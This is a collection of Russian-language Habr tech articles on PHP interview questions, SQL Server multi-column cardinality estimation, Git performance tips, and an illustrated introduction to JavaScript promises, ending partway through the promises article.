**Список структур данных из SPL с краткими пояснениями**`SplDoublyLinkedList` – двусвязный список. Каждый узел такого списка хранит ссылку на предыдущий и на следующий за ним узел. Представьте, что вы находитесь в очереди в банке и при этом можете видеть только человека перед вами и позади вас. Это аналогия отношения связи между элементами в `SplDoublyLinkedList`. Вставка элемента в список соответствует ситуации, когда кто-то влез в очередь, а вы вдруг забыли, кто стоял перед вами (и этот кто-то забыл о вас). Двусвязный список позволяет эффективно обходить и добавлять большие наборы данных без необходимости повторного хеширования.
`SplQueue` и `SplStack` очень похожи на `SplDoublyLinkedList`. Обе эти структуры, по сути, представляют собой двусвязные списки с разными флагами итераторов(`IT_MODE_LIFO` – Last In First Out – последним пришёл, первым ушёл; и `IT_MODE_FIFO` – First In First Out – первым пришёл, первым ушёл), которые регулируют порядок обработки узлов и что делать с этими элементами после того, как они будут обработаны. Ещё одно отличие между этими структурами заключается в том, что интерфейс `SplQueue` содержит более интуитивно понятные методы `enqueue()` и `dequeue()` в отличие от методов `push()` и `pop()` у `SplStack`.
`SplHeap` – куча, представленная в виде бинарного дерева, каждый узел которого имеет не более двух дочерних узлов. Это абстрактный класс, требующий расширения с определением метода `compare()`, позволяющего выполнять сортировку в реальном времени при вставке новых узлов в дерево.
`SplMaxHeap` и `SplMinHeap` — конкретные реализации абстрактного класса `SplHeap`. `SplMaxHeap` реализует метод `compare()` таким образом, чтобы дерево было отсортировано в порядке убывания значений узлов, а `SplMinHea`p – в порядке возрастания значений.
`SplPriorityQueue` – очередь, похожая на `SplHeap`, но в отличие от `SplHeap` сортировка осуществляется на основании значения свойства `priority` (приоритет), заданного для каждого узла.
`SplFixedArray` – массив фиксированной длины, индексами которого могут быть только целые числа. Эти ограничению обеспечивают более высокую скорость обработки массива, которая достигается, в том числе, благодаря тому, что в `SplFixedArray` нет хеширования ключей элементов при их добавлении (в отличие от обычных массивов).
`SplObjectStorage` – хранилище объектов, предоставляет интерфейс для сопоставления объектов к данным, либо может быть использовано в качестве контейнера для множества объектов. Позволяет использовать объект в качестве ключа ассоциативного массива и связать его с некоторыми данными.
Также о структурах данных из SPL можно [почитать на хабре](http://habrahabr.ru/post/161987/).
[К списку вопросов](#questions)
##### **Вопрос**: Чему будет равен `$x` после выполнения выражения `$x = 3 + "15%" + "$25"`?
Правильный ответ – 18. Давайте разберёмся почему.
PHP поддерживает [автоматическое приведение типов](http://php.net/manual/ru/language.types.type-juggling.php), основанное на контексте, в котором используется переменная.
При выполнении арифметических операций над выражением, содержащим строку, эта строка будет интерпретирована как число, что позволяет выполнить вычисление выражения. Если строка начинается с одной или нескольких цифр, то все остальные символы будут проигнорированы, а цифры будут представлены в виде числа соответствующего числового типа. С другой стороны, если строка начинается не с цифры, то в контексте арифметического выражения она будет интерпретирована как нуль.
Зная это, мы можем увидеть, что в выражении `$x = 3 + "15%" + "$25"` строка `"15%"` будет соответствовать числу 15, а строка `"$25"` — нулю. Поэтому результат выражения будет равен 18 (3 + 15 + 0).
Одни программисты считают автоматическое приведение типов ценной особенностью, другие – отвратительным недостатком PHP. С одной стороны, осознанное и правильное его применение добавляет удобства разработчику (нет необходимости писать код для конвертации «15» в 15 перед применением арифметической операции). С другой стороны, оно может легко привести к трудноулавливаемым ошибкам, если будет задействовано случайно (т.к. не будет выдано никаких предупреждений и ошибок).
[К списку вопросов](#questions)
##### **Вопрос**: Объясните назначение ключевого слова `static` при вызове метода или обращении к свойству. Расскажите, когда и зачем его нужно использовать, а также чем оно отличается от ключевого слова `self`. Приведите пример.
В PHP, начиная с версии 5.3, реализовано [позднее статическое связывание](http://php.net/manual/ru/language.oop5.late-static-bindings.php). Термин «позднее связывание» означает, что ключевое слово `static` связывает метод или свойство (к которому происходит обращение через `static::`) не с тем классом, в котором был определён использующий его метод, а с тем, в котором этот метод был вызван во время выполнения. Кстати, название «статическое связывание» не совсем корректно, т.к. `static` допустимо использовать не только для обращения к статическим членам класса.
**Пример кода**
```
class Dog {
static $whoami = 'собака';
static $sound = 'лает';
function makeSounds() {
echo self::makeSound() . ', ';
echo static::makeSound() . PHP_EOL;
}
function makeSound() {
echo static::$whoami . ' ' . static::$sound;
}
}
Dog::makeSounds();
```
Результат выполнения этого кода не удивляет: «собака лает, собака лает».
Расширим пример:
```
class Puppy extends Dog {
static $whoami = 'щенок';
static $sound = 'гавкает';
function makeSound(){
echo static::$whoami . ' скулит';
}
}
Puppy::makeSounds();
```
Вы можете удивиться, но результат выполнения этого кода: «щенок гавкает, щенок скулит». Чтобы понять, почему это происходит, давайте снова посмотрим на метод `makeSounds()` в классе `Dog`.
В методе `makeSounds()` сначала вызывается `self::makeSound()`. `self::` всегда указывает на контекст того класса, в котором происходит обращение через него (в данном случае это класс `Dog`). Поэтому `self::makeSound()` всегда будет приводить к версии метода `makeSound()` из класса `Dog`. Это справедливо и в том случае, когда происходит вызов `Puppy::makeSounds(),` т.к. в классе `Puppy` нет собственного метода `makeSounds()`, и поэтому вызывается метод `makeSounds()` из класса `Dog`. В результате, при вызове `Puppy::makeSounds()` выполняется `self::makeSound()`, что приводит к появлению текста «щенок гавкает».
Затем в методе `makeSounds()` класса `Dog` вызывается `static::makeSound()`. `static::` обрабатывается иначе, чем `self::`. При обращении через `static::` используется версия метода, определённая в контексте вызвавшего этот метод класса во время выполнения (в данном случае, это класс `Puppy`). Следовательно, вызов `static::makeSound()` приводит к выполнению версии метода `makeSound()` из класса `Puppy`. Именно по этой причине при вызове из `Puppy::makeSounds()` метода `static::makeSound()` выводится текст «щенок скулит».
[К списку вопросов](#questions)
#### Под капотом PHP
Понимание того, как PHP работает «под капотом» – одна из важнейших характеристик, определяющих эксперта по PHP. Такой кандидат не только знает, как реализовать какую-то возможность, но также знает несколько возможных решений, их различия по функциональности и производительности.
##### **Вопрос**: Расскажите о внутреннем устройстве массивов в PHP?
С массивами связана значительная часть процесса разработки на PHP. Они хорошо подходят для тех случаев, когда вам необходима итерируемая структура данных. Изнутри массивы представлены, как и многие другие структуры данных, в виде хэш-таблиц. PHP написан на C, в котором нет ассоциативных массивов – массивы в C могут иметь только целочисленные индексы. Для трансляции индексов PHP-массива в целочисленные индексы массива на C применяется хэш-функция, преобразующая индексы PHP-массива (и целочисленные, и строковые) в целые числа. Значения элементов массива располагаются в получившейся хеш-таблице.
Сложность процесс поиска элементов по хэш-ключам составляет O(1) (в нотации [большое О](http://ru.wikipedia.org/wiki/%C2%ABO%C2%BB_%D0%B1%D0%BE%D0%BB%D1%8C%D1%88%D0%BE%D0%B5_%D0%B8_%C2%ABo%C2%BB_%D0%BC%D0%B0%D0%BB%D0%BE%D0%B5)) благодаря тому, что для нахождения элемента не требуется итерация по хешу (хеш-функция возвращает значение, точно указывающее на положении элемента в таблице).
**Прим. переводчика:** Здесь я сознательно исключил из текста понятие бакета (bucket, корзина), т.к. автор оригинального текста не даёт никаких пояснений на его счет. Если вам действительно интересно устройство хеш-таблиц, то рекомендую к прочтению [вот этот материал](http://romka.gitbooks.io/php-internals-book-ru/heshtablitsi/README.html).
PHP автоматически увеличивает размер массива по требованию. В том числе в тех ситуациях, когда добавление нового элемента может вызвать превышение размера выделенной на данный момент области памяти, PHP удваивает размер выделенной памяти.
В некоторых случаях процесс добавления элемента в массив так же сложен, как итерация с копированием элементов в новый массив, да еще и с удвоением выделенной памяти. Учитывая это, для больших наборов данных с целью экономии памяти, возможно, стоит рассмотреть альтернативы массивам и загружать данные по мере необходимости. Подробнее о [внутреннем устройстве массивов](http://habrahabr.ru/post/162685/) можно почитать на хабре.
[К списку вопросов](#questions)
##### **Вопрос**: В чем различие между `ArrayAccess` и `ArrayObject`?
[ArrayAccess](http://php.net/manual/ru/class.arrayaccess.php) – это просто интерфейс, требующий определения следующих методов: `offsetGet`, `offsetSet`, `offsetExists`, и `offsetUnset`.
[ArrayObject](http://php.net/manual/ru/class.arrayobject.php) – класс, реализующий интерфейс `ArrayAccess`. Удобство `ArrayObject` заключается в том, что к его свойствам можно получать доступ таким же образом, как к обычному массиву через оператор [], например: `$dogs['sound']`, или через метод `offsetGet('имя свойства')`, например: `$dogs->offsetGet('sound')`.
[Подробнее](http://habrahabr.ru/post/127711/) об использовании объектов как массивов.
[К списку вопросов](#questions)
##### **Вопрос**: Что такое генераторы? Когда их можно использовать вместо итераторов и обычных массивов? Для чего нужны ключевые слова `yield` и `send`?
[Генератор](http://habrahabr.ru/post/189796/) внешне похож на обычную функцию, и обладает некоторым сходством с замыканиями. При первом вызове в контексте итератора (например, в цикле `foreach`), генератор возвращает объекта класса `Generator`, который, в свою очередь, реализует интерфейс `Iterator`. Значения для итерации генерируются в реальном времени, что избавляет от необходимости загружать весь набор данных в память, получая значения по мере необходимости. Из этого следует, что итерация по результату осуществляется так же, как по массиву, не считая некоторых отличий:
1. итерация направлена только вперед, нельзя вернуться к предыдущему значению или к началу. Вызов метода `rewind()` выбросит исключение;
2. скорость выполнения итерации ниже, чем в случае с предварительно заполненным массивом, т.к. для получения следующего значения генератор выполняет какие-то действия;
3. крайне эффективное использование памяти.
Невозможность возврата значения через оператор `return` – это одно из основных отличий генератора от других функций или замыканий. Вместо него для передачи значения из генератора применяется ключевое слово `yield` (например, `yield $dog`). Указание значения после `return` приведет к синтаксической ошибке, а применение пустого оператора – простой способ остановить работу генератора.
Оператор `yield` приостанавливает выполнение и возвращает текущее значение в контекст структуры, использующей генератор. Эта структура может отправить информацию обратно в генератор во время его выполнения с помощью метода send (например, `$generator->send(-1);`).
**Пример кода с использованием генератора**Сначала объявим сам генератор:
```
function dog_generator() {
foreach (range(0, 2) as $value) {
// некоторый ложный источник данных
$dog = DogHelper::getDogFromDataSource($value);
// перехватываем input от send или используем $dog
$input = (yield $dog);
if ($input == -1) {
return; // останавливаем генератор
}
}
}
```
Стоит отметить, что в приведенном выше коде мы сохраняем результат выполнения `yield` в переменную, для этого мы обернули его вызов в круглые скобки.
А теперь напишем код, использующий объявленный генератор:
```
// получаем экземпляр генератора и присваиваем его переменной
$generator = dog_generator();
foreach ($generator as $dog) { // $dog - это результат вызова yield
echo $dog . PHP_EOL;
// мы хотим найти терьера
if ($dog == 'Terrier') {
// отправляем входные данные генератору через yield
$generator->send(-1);
echo 'Мы нашли терьера, останавливаем просмотр';
}
}
```
Если запустить этот код, то он прекратит своё выполнение после обнаружения терьера:
```
Далматинец
Терьер
Мы нашли терьера, останавливаем просмотр
```
Основные преимущества генераторов можно свести к простоте реализации, повышению читаемости кода, повышению эффективности расходования памяти.
Вообще говоря, стоит применять генераторы всегда, когда не требуется повторно обходить набор данных с начала или просматривать его в обратном направлении. С другой стороны, если не учитывать расходование памяти, обход обычного массива выполняется значительно быстрее.
[Документация по генераторам](https://php.net/manual/en/language.generators.php) на php.net на русском языке пока что отсутствует.
[К списку вопросов](#questions)
#### Общая картина
##### **Вопрос**: Перечислите ключевые отличия между версиями PHP 5.3, 5.4, 5.5.
[Версия PHP 5.3](http://habrahabr.ru/post/59876/) была выпущена в июне 2009 года, но до сих пор широко распространена. Основные новшества: замыкания, лямбда-функции, пространства имён и позднее статическое связывание.
[Релиз PHP 5.4](http://habrahabr.ru/post/136800/) состоялся в марте 2012 года. В нём были представлены типажи (трейты), возможность объявления массива с коротким синтаксисом [] (например, `['шит-цу', 'ротвейлер']`). Ко всему прочему, в этой версии была убрана опция `register_globals`.
[PHP 5.5](http://habrahabr.ru/post/184142/) был выпущен в июне 2013 года, и это текущий релиз. В этой версии появились генераторы (и связанное с ними ключевое слово `yield`), в инструкцию `try/catch` добавлен блок `finally`, на замену APC Cache пришел включённый по умолчанию OpCache (базируется на Zend Optimizer). Также был расширен синтаксис литералов массивов (['шит-цу', `'ротвейлер'][1]` вернёт 'ротвейлер'), и добавлена удобная возможность обращения к символам в строке как к элементам массива (например, `'6e5d4'[0]` вернёт «6»).
[К списку вопросов](#questions)
#### Подведём итоги
Найти PHP-разработчика достаточно просто, а вот найти действительно серьёзного PHP-програмиста – весьма непростая задача. Вопросы, представленные в этом руководстве, могут стать полезным инструментом, который позволит вам определить тех, кто овладел языком на первоклассном уровне. Поиск таких кандидатов оправдывает вложенные в него усилия, т.к. они, несомненно, окажут значительное позитивное влияние на производительность вашей команды и на результаты её работы.
[Ссылка на оригинал](http://www.toptal.com/php#hiring-guide) | https://habr.com/ru/post/230805/ | null | ru | null |
# Статистики по нескольким столбцам
Автор [Liwei Yin](https://techcommunity.microsoft.com/t5/user/viewprofilepage/user-id/422394)
Опубликовано 01.11.2022
В статье [SQL Server Cardinality Estimation: несколько статистик по одному столбцу](https://habr.com/ru/post/698354/) рассказывалось о том, как SQL Server вычисляет статистику по одному столбцу. Сегодня поговорим о статистике по нескольким столбцам.
Ниже следует пример, и в этом примере используется OLTP база данных [AdventureWorks2019](https://learn.microsoft.com/en-us/sql/samples/adventureworks-install-configure?view=sql-server-ver16&tabs=ssms).
```
------- Подготовка данных -------------------------------------------
alter database [AdventureWorks2019] set compatibility_level=150
go
use [AdventureWorks2019]
go
if exists(select 1 from sys.tables where name='SalesOrderDetail')
drop table SalesOrderDetail
go
select * into SalesOrderDetail from Sales.SalesOrderDetail-- импорт данных в новую таблицу
Go
-- Создаём две статистики вручную. Первая статистика по двум столбцам
create statistics I_ProductID_UnitPrice on SalesOrderDetail(ProductID,UnitPrice) with fullscan
create statistics I_UnitPrice on SalesOrderDetail(UnitPrice) with fullscan
------- Подготовка данных -------------------------------------------
```
В разных версиях SQL Server Cardinality Estimation (далее СЕ) для разных уровней совместимости баз данных возможны не одинаковые оценки, т.е. оптимизатор может повести себя по-разному, и это будет продемонстрировано ниже для разных уровней совместимости.
Новая версия CE-2017/2019-db\_compatibility\_level >= 140
---------------------------------------------------------
a) Избирательность (селективность) комбинированной статистики по нескольким столбцам вычисляется по **формуле**: **MAX(min('**[All Density](https://learn.microsoft.com/en-us/sql/t-sql/database-console-commands/dbcc-show-statistics-transact-sql?view=sql-server-ver16)**',p0,p1,p2,p3),p0\*p1\*p2\*p3)**
b) All Density ([Общая плотность](https://learn.microsoft.com/ru-ru/sql/t-sql/database-console-commands/dbcc-show-statistics-transact-sql?view=sql-server-ver16)) комбинации столбцов для статистики по нескольким столбцам. p0,p1,p2,p3 — селективность значений каждого столбца в предложении WHERE, и при этом p0c) Если у статистики больше 4 столбцов, учитываются только первые 4, остальные игнорируются.
### CE для уровня совместимости 150
```
alter database [AdventureWorks2019] set compatibility_level=150
select * from SalesOrderDetail where ProductID=870 and UnitPrice=4.99 option(recompile)
```
1) Расчетное число строк 341.
2) Формула расчета числа строк: **max(min('Общая плотность по двум столбцам',P1,P2),P1\*P2)** **\* cardinality**
a) Общая плотность по двум столбцам: 0,001321004
b) p0 — селективность статистики одного столбца (ProductID) в предложении where, которая равна 4688/121317=0,03864256.
c) p1 — селективность статистики другого столбца (UnitPrice), которая составляет 8827/121317=0,07275979.
d) Количество элементов (мощность, кардинальность) 121317
```
dbcc show_statistics(SalesOrderDetail,I_ProductID_UnitPrice)
```
```
dbcc show_statistics(SalesOrderDetail,I_UnitPrice)
```
3) Подставим значения и отследим решение по формуле: max(min('Общая плотность по двум столбцам',p0,p1),p0\*p1) \*cardinality
max( min(0.001321004,0.03864256,0.07275979),0.03864256\*0.07275979)\*121317
=max(0.001321004,0.03864256\*0.07275979)\*121317
=max(0.001321004,0.0028116245506624)\*121317
=0.0028116245506624\*121317=341.09785561, округляем до 341.
4) Для получения более подробной информации, включим флаг трассировки 2363.
```
Dbcc traceon(3604,2363)
------------trace flag 2363 output-----------------
Loaded histogram for column QCOL: [AdventureWorks2019].[dbo].[SalesOrderDetail].ProductID from stats with id 2
Loaded histogram for column QCOL: [AdventureWorks2019].[dbo].[SalesOrderDetail].UnitPrice from stats with id 3
Cardinality using multi-column statistics 0.001321 and with independence assumption 0.00281163. Picking cardinality 0.00281163
Selectivity: 0.00281163
Stats collection generated:
CStCollFilter(ID=3, CARD=341.098)
CStCollBaseTable(ID=1, CARD=121317 TBL: SalesOrderDetail)
End selectivity computation
------------trace flag 2363 output-----------------
```
### Версия CE-2016-db\_compatibility\_level=130
а) Формула расчёта селективности статистики по нескольким столбцам**: min('Общая плотность,p0,p1,p2,p3)**
b) «Общая плотность» — это плотность для всех столбцов в статистике по нескольким колонкам.
c) p0,p1,p2,p3 — селективность значений каждого из столбцов в предложении WHERE, и при этом p0 d) Если в статистике больше 4 столбцов, учитываются только первые 4, остальные игнорируются.
Обратите внимание: если включен флаг трассировки 4199, то формула становится точно такой же, как для DB\_compatibility\_level 140/150.
Для версии CE с уровнем совместимости базы 130 сделаем:
```
alter database [AdventureWorks2019] set compatibility_level=130
select * from SalesOrderDetail where ProductID=870 and UnitPrice=4.99 option(recompile)
```
1) Предполагаемое число строк 160.
2) Вот формула оценки предполагаемого числа строк: **min('Общая плотность’,p0,p1)\*cardinality**
a) Общая плотность двух столбцов: 0,001321004
b) p0 — селективность статистики одного столбца (ProductID) в предложении where, которая равна 4688/121317=0,03864256.
c) p1 — селективность статистики второго столбца (UnitPrice), которая составляет 8827/121317=0,07275979.
d) кардинальность 121317
```
dbcc show_statistics(SalesOrderDetail,I_ProductID_UnitPrice)
```
```
dbcc show_statistics(SalesOrderDetail,I_UnitPrice)
```
3) Давайте теперь подставим значения в формулу: min('Общая плотность двух столбцов',p0,p1) \* количество элементов
4) MIN(0,001321004,0,03864256,0,07275979)\*121317=0,001321004\*121317=160,260242268, округляется до 160.
Чтобы получить более подробную информацию, нужно включить флаг трассировки 2363.
```
Dbcc traceon(3604,2363,)
------------trace flag 2363 output-----------------
Loaded histogram for column QCOL: [AdventureWorks2019].[dbo].[SalesOrderDetail].ProductID from stats with id 2
Loaded histogram for column QCOL: [AdventureWorks2019].[dbo].[SalesOrderDetail].UnitPrice from stats with id 3
Selectivity: 0.001321
Stats collection generated:
CStCollFilter(ID=3, CARD=160.26)
CStCollBaseTable(ID=1, CARD=121317 TBL: SalesOrderDetail)
End selectivity computation
------------trace flag 2363 output-----------------
```
### Версия CE-2014-db\_compatibility\_level=120
SQL 2014 не поддерживает статистики по нескольким столбцам, алгоритм такой же, как был описан в статье: [SQL Server Cardinality Estimation: несколько статистик по одному столбцу](https://habr.com/ru/post/698354/). Формула такая: **p0 \* p1^(1/2) \* p2^(1/4)\* p3^(1/8)**
Обратите внимание: если включен флаг трассировки 4199, то формула становится точно такой же, как для DB\_compatibility\_level 140/150.
Для получения версии CE с уровнем совместимости базы данных 120 сделаем:
```
alter database [AdventureWorks2019] set compatibility_level=120
select * from SalesOrderDetail where ProductID=870 and UnitPrice=4.99 option(recompile)
```
1) Предполагаемое число строк 12650.
2) Формула расчёта предполагаемого числа строк: **p0 \* p1^(1/2**)**\*cardinality.**
a) Общая плотность двух столбцов: 0,001321004
b) p0 — селективность статистики одного столбца (ProductID) в предложении where, которая равна 4688/121317=0,03864256.
c) p1 — селективность статистики другого столбца (UnitPrice), которая составляет 8827/121317=0,07275979.
d) кардинальность 121317
```
dbcc show_statistics(SalesOrderDetail,I_UnitPrice)
```
3) Давайте подставим значения в формулу: **p0 \* p1^(1/2)** **\* cardinality**
0,03864256\*0,07275979^(1/2)\*121317=0,0104235\*121317=1264,547750, округляется до 1265.
Чтобы получить более подробную информацию, нужно включить флаг трассировки 2363.
```
Dbcc traceon(3604,2363,)
------------trace flag 2363 output-----------------
Loaded histogram for column QCOL: [AdventureWorks2019].[dbo].[SalesOrderDetail].ProductID from stats with id 2
Loaded histogram for column QCOL: [AdventureWorks2019].[dbo].[SalesOrderDetail].UnitPrice from stats with id 3
Selectivity: 0.0104235
Stats collection generated:
CStCollFilter(ID=2, CARD=1264.54)
CStCollBaseTable(ID=1, CARD=121317 TBL: SalesOrderDetail)
End selectivity computation
------------trace flag 2363 output-----------------
```
 | https://habr.com/ru/post/702366/ | null | ru | null |
# Несколько способов оптимизации работы с Git
В нашем блоге на Хабре мы рассказываем о различных технологиях из мира IaaS и не только. Например, недавно мы публиковали материал по программным реализациям VPN [[Часть 1](https://habrahabr.ru/company/1cloud/blog/307280/); [Часть 2](https://habrahabr.ru/company/1cloud/blog/308870/)], а также [рассказывали о DNS](https://habrahabr.ru/company/1cloud/blog/309018/). Сегодня нам бы хотелось углубиться в тему разработки приложений и сервисов и поговорить о такой вещи, как Git, в частности, о способах оптимизации работы с ним.
[](https://habrahabr.ru/company/1cloud/blog/309704/)
*/ фото [hackNY.org](https://www.flickr.com/photos/hackny/) [CC](https://creativecommons.org/licenses/by-sa/2.0/)*
Хотелось бы начать с самого начала – что же такое Git? Git – это одна из систем управления версиями (version control system, или VCS), на основе которой построены несколько сервисов, таких как GitHub или GitLab. С помощью Git было [разработано](https://opensource.com/resources/what-is-git) большое количество программного обеспечения, которое, вероятно, вам хорошо знакомо: это и ядро Linux, Firefox, а также Chrome.
Если вы работали в команде над каким-нибудь программным продуктом, то представляете, как все происходит. У вас имеется определенная версия вашего проекта, которую вы отправляете своим коллегам. Они вносят изменения в код и отсылают их обратно. Вы же встраиваете их в свою кодовую базу и получаете новую версию проекта.
Одна из основных задач Git – избежать ситуации c путаницей между версиями продукта, когда появляются файлы с именами вроде project\_betterVersion.kdenlive или project\_FINAL-alternateVersion.kdenlive и т. д.
Чтобы упростить работу с этими файлами и нужны системы VCS. Так каждый член команды имеет возможность работать над последней версией проекта, вносить свои изменения и сообщать об этом коллегам.
Системы контроля позволяют хранить несколько вариаций одного и того же документа и при необходимости «откатывать» его до более ранней реализации. То есть вы можете сделать копию репозитория и работать с ней локально, а затем при помощи специальных команд внедрить свои правки (push) в основную версию или извлечь (pull) изменения, сделанные коллегами.
### Повышение производительности
При работе над большими продуктами постоянно происходит переименование исходников, выделение новых веток, выполняется сравнение с прошлыми версиями. Потому в достаточно больших проектах может наблюдаться снижение производительности работы Git. С такими проблемами как-то раз столкнулась даже компания Facebook.
Тогда сложности в работе они [объяснили](http://news.ycombinator.com/item?id=3549679) тем, что при любом изменении исходных файлов происходило переписывание индексного файла, а в большом проекте его размер превышал 100 МБ. Это и привело к замедлению работы (кстати, вот одно интересное [решение](https://code.facebook.com/posts/218678814984400/scaling-mercurial-at-facebook) уже другой проблемы с производительностью систем управления версиями Facebook, предложенное инженерами компании).
Чтобы ускорить работу с Git, разработчиками применяются различные техники, утилиты и решения. Одним из вариантов может быть уменьшение размеров репозитория.
### Уменьшение репозитория
RoR-разработчик Стив Лорек (Steve Lorek) в своем блоге [пишет](http://stevelorek.com/how-to-shrink-a-git-repository.html) о том, что ему удалось сократить размер репозитория с 180 МБ до 7 МБ. Для этого он сперва создал локальную копию Git, а затем нашел файлы, занимающие слишком много места в хранилище. Здесь на помощь пришел [bash-скрипт](https://stubbisms.wordpress.com/2009/07/10/git-script-to-show-largest-pack-objects-and-trim-your-waist-line/) Энтони Стаббса (Antony Stubbs), который находит 10 самых крупных и ненужных файлов.
После этого он удалил эти файлы, воспользовавшись серией команд:
```
$ git filter-branch --tag-name-filter cat --index-filter 'git rm -r --cached --ignore-unmatch filename' --prune-empty -f -- --all
$ rm -rf .git/refs/original
$ git reflog expire --expire=now –all
$ git gc --prune=now
$ git gc --aggressive --prune=now
```
После этого Стив отправил изменения в удаленный репозиторий, чтобы больше никому не пришлось скачивать для работы 180 мегабайт.
### Умное зеркалирование
Это еще одно решение, которое пригодится организациям, насчитывающим несколько сотен разработчиков. Многие члены таких команд работают удаленно и из разных стран, что приводит к задержкам при загрузке данных из репозиториев. Бывает доходит до того, что сотрудники [пересылают](https://cloud.google.com/storage/docs/offline-media-import-export) друг другу жёсткие диски по почте.
При зеркалировании настраивается один или несколько активных зеркальных серверов, которые исполняют только операции чтения копий репозиториев и синхронизируются с основным экземпляром. Такой подход [позволяет](http://blogs.atlassian.com/2016/02/smart-mirroring-cures-poor-git-performance/) сократить время передачи копии репозитория на 5 ГБ примерно в 25 раз.
### Иной подход к хранению крупных файлов
Из-за того что каждый разработчик хранит на своем компьютере всю историю изменений, размер репозиториев Git растет быстро. Однако есть ряд [утилит](http://blog.deveo.com/storing-large-binary-files-in-git-repositories/), решающих эти проблемы. Например, [git-annex](https://git-annex.branchable.com/) позволяет хранить вместо целого файла символьную ссылку (symlink) на него.
Также стоит отметить расширение Git Large File Storage ([Git LFS](https://git-lfs.github.com/)), которое пишет в репозиторий указатели на файлы. Операции с этими файлами отслеживаются с помощью [фильтров](https://git-scm.com/docs/gitattributes#__code_filter_code) clean и smudge, а их содержимое хранится на удаленном сервере GitHub.com или GitHub Enterprise. Описание нескольких других утилит вы можете найти по [ссылке](http://blog.deveo.com/storing-large-binary-files-in-git-repositories/).
### Использование псевдонимов
Этот совет связан не столько с производительностью Git и скоростью загрузки файлов, сколько с удобством работы. Определение псевдонимов способно значительно повысить скорость работы с Git и упростить множество операций. Псевдонимы настраиваются с помощью файла конфигураций:
```
git config --global alias.co checkout
git config --global alias.br branch
git config --global alias.ci commit
git config --global alias.st status
```
Интересно, что таким образом можно создавать собственные команды, которых по умолчанию нет в системе, например:
```
git config --global alias.l "log --oneline --graph"
```
Конкретно в этом случае вы получите возможность выводить логи в строчку и в графическом виде командой git l.
Эти небольшие советы могут помочь упростить работу с большими репозиториями и облегчить жизнь командам разработчиков. А это большое дело в плане качества и скорости выполнения важных проектов компании.
*P.S. А еще мы пишем о создании нашего IaaS-провайдера 1cloud:
* [Как создать провайдера виртуальной инфраструктуры](https://1cloud.ru/news/how-to-create-iaas-provider)
* [Как выбрать направление для развития ИТ-проекта](https://1cloud.ru/news/it-project-area-choice)
* [Что нужно знать об IaaS-провайдере до начала работы](https://1cloud.ru/news/21-question-to-iaas-provider)* | https://habr.com/ru/post/309704/ | null | ru | null |
# Промисы на примере бургер-вечеринки
*Это перевод [статьи](http://kosamari.com/notes/the-promise-of-a-burger-party), которую Марико Косака написала в качестве альтернативного введения в промисы JavaScript. Наброски иллюстраций она делала в своём блокноте во время чтения разных статей, посвящённых промисам. Если хотите изучить более подробно, в конце вы найдёте список полезных ссылок.*
Недавно Марико участвовала в обсуждении того, как можно с помощью JavaScript сделать фичу, которая давала бы доступ к внешним данным (должна была быть асинхронной). Она сказала: «Ну, давайте используем `fetch()`… так что в коде… эээ...», и пока силилась вспомнить fetch API, собеседник сказал: «Будет возвращаться промис». По словам Марико, её мозг впал в ступор, и она сказала: «Честно говоря, не знаю, что ты имеешь в виду…»
Ей приходилось много раз писать код, основанный на промисах, но для полной картины нужные пазлы в её голове почему-то не соединились. Она поняла, что на самом деле не «въезжает» в суть.
> Я даже описать не могу, насколько трудно объяснить это выражение: «Будет возвращаться промис»
>
> Но это, наверное, потому, что я не понимаю, что такое «промис».
>
> — Mariko Kosaka (@kosamari) [13 января, 2017](https://twitter.com/kosamari/status/819972802220589056)
Если вы полистаете её [твиттер](https://twitter.com/kosamari), то увидите, что при обучении она использует визуальные образы, и для этого рисует используемые в коде концепции в виде физических метафор. Так она пытается справиться с двойным уровнем абстракции (язык программирования и английский в качестве второго языка). Поэтому ей пришлось и в этот раз обратиться к рисованию.
Вот фрагмент кода, который будет использоваться для примера.
```
// асинхронная операция
function cookBurger (type) { ... }
// обычная операция
function makeMilkshake (type) { ... }
// функция заказа, которая возвращает промис
function order (type) {
return new Promise(function(resolve, reject) {
var burger = cookBurger(type)
burger.ready = function (err, burger) {
if (err) {
return reject(Error('Error while cooking'))
}
return resolve(burger)
}
})
}
order('JakeBurger')
.then( burger => {
const milkshake = makeMilkshake('vanila')
return { burger: burger, shake: milkshake }
})
.then( foodItems => {
console.log('BURGER PARTY !', foodItems)
})
.catch( err => {
console.log(err)
})
```
Давайте организуем бургер-вечеринку
-----------------------------------
Добро пожаловать в Promise Square Park, где находится бургерная JakeShack. Её бургеры очень популярны, но количество кассовых аппаратов для оформления заказов ограничено, так что очередь из клиентов у прилавка всегда большая. Однако, на кухне работают отличные повара, способные одновременно готовить несколько заказов.
*Если что, то прототипами стали Madison Square Park и ShakeShack в Нью-Йорке. Там очень вкусно кормят, и очередь всегда большая.*
Промисификация действий
-----------------------
Чтобы как можно быстрее принимать заказы, JakeShack использует систему сигнализаторов. Когда покупатель оплачивает заказ, кассир выдаёт поднос и устройство-сигнализатор в обмен на платеж.
Поднос — это промис JakeShack клиенту, что на подносе окажется вкусный бургер, как только он будет готов, а сигнализатор показывает состояние заказа. Если он молчит, то заказ **обрабатывается (pending)** — повара на кухне заняты работой над вашим заказом. Когда экран засветится красным и включится звуковой сигнал, это будет означать, что заказ **собран (settled)**.
Небольшой нюанс, связанный с состоянием «**собран**». Это не синоним «готов». Это означает, что заказ был обработан на кухне и покупателю нужно принять решение о том, что с ним делать дальше. Вы (покупатель), вероятно, захотите забрать заказ за прилавком, однако также возможно, что просто уйдете. Решение за вами.
Давайте взглянем на код. Когда вы вызываете функцию `order`, она «возвращает промис» (даёт вам поднос с сигнализатором). Возвращаемое значение (бургер) должно появиться на подносе, когда будет выполнен промис и вызвана callback-функция.
Добавляем обработчики промисов
------------------------------
Похоже, сигнализатор зазвонил, а значит, нужно подойти к прилавку и попросить свой заказ. Далее возможны два варианта развития событий.
1. Заказ готов (промис выполнен). Ура! Ваш заказ готов и повар вручает вам свежий, вкусно пахнущий бургер. Промис выполнен!
2. Заказ не готов (промис отклонен). Похоже, на кухне кончились котлеты, поэтому промис бургера не был выполнен. Получите компенсацию!
Вот как можно приготовиться к обеим ситуациям.
`.then()` принимает другую функцию в качестве второго аргумента, которая также может использоваться как обработчик reject'а. Для простоты здесь я использовала только `.catch()`. Если вам хочется больше узнать о том, как обрабатываются оба варианта, почитайте эту статью: <https://developers.google.com/web/fundamentals/getting-started/primers/promises#error_handling>.
Цепочка промисов (чейнинг)
--------------------------
